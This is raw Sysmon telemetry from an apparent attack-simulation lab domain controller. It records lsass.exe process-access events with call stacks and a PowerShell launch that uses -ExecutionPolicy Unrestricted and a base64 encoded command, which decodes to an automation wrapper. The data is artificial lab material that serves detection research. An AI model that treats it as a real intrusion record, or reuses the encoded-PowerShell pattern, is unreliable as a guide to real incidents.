09:10:12.197{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.182{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.182{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.182{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.119{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.119{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.119{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28F7-5F80-8200-000000007F01}50525072C:\Windows\system32\conhost.exe{A5F018FF-28F7-5F80-8600-000000007F01}4336C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8600-000000007F01}4336C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.556{A5F018FF-28F7-5F80-8500-000000007F01}41404332C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28F7-5F80-8600-000000007F01}4336C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000002799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.559{A5F018FF-28F7-5F80-8600-000000007F01}4336C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F7-5F80-B1E0-040000000000}0x4e0b10HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000002798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 